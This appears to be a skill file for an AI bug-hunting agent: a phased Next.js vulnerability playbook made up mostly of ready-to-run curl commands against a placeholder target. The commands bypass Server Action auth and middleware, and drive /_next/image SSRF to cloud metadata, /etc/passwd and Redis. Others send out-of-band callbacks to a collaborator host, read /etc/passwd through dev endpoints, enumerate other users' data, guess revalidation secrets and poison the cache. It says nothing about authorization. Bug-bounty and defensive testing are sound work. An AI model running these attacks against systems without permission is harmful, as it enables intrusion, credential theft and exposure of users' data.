{"id":"hunt-nextjs","name":"hunt-nextjs","summary":"特定の脆弱性Next.js探す — サーバーアクションによる任意の関数実行、静的アセットパスを使ったミドルウェア認証バイパス、ISRキャッシュ中毒、画像最適化SSRF(/_next/image)、RSCペイロードリーク、getServerSidePropsインジェクション、ソースマップ露出、デバッグエンドポイントリー…","body":"# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High/Critical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR\n- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n/_next/image?url=&w=&q=          Image optimizer — SSRF candidate\n/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate\n/__nextjs_original-stack-frame   Debug stack frame endpoint\n/_next/static/chunks/            JS bundles — source map candidate\n/api/                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https://$TARGET/ | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https://$TARGET/ | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for /_next/data/ paths\nBUILD_ID=$(curl -s https://$TARGET/ | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https://$TARGET/_next/static/chunks/pages/index.js.map\" | head -5\ncurl -s \"https://$TARGET/_next/static/chunks/main.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https://$TARGET/ | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null\n\n# Call Server Action directly without auth\ncurl -s -X POST https://$TARGET/target-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart/form-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o /dev/null -w \"%{http_code}\" https://$TARGET/admin/dashboard\n# → 200 means accessible\n\n# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude /_next/static)\ncurl -s \"https://$TARGET/_next/static/../admin/dashboard\"\n\n# Encoded path bypass\ncurl -s \"https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json\"\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n## Phase 4 — Image Optimization SSRF (`/_next/image`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75\"\ncurl -s \"https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http://UNIQUE.COLLAB_HOST\"\ncurl -s \"https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75\"\n# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only\nfetches URLs allowed by `images.remotePatterns` / `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `/_next/data/` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/profile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https://$TARGET/_next/data/$BUILD_ID/users/$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https://$TARGET/dashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'<script id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL/query\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https://$TARGET/blog/test-post?preview=<b>$MARK</b>\" -o /dev/null\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https://$TARGET/blog/test-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test\"\ncurl -s \"https://$TARGET/api/revalidate?token=GUESS&path=/admin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat any non-404 as the real finding; do NOT report a 404/filtered\nresponse as confirmation.\n\n```bash\n# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  \"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1\"\ncurl -s \"https://$TARGET/__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"/etc/passwd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https://$TARGET/_next/static/chunks/pages/_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https://$TARGET/ | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |\n| `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High/Critical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nextjs","license":"MIT","category":"coding","lang":"en","tokens":2607,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["unique.collab"]}}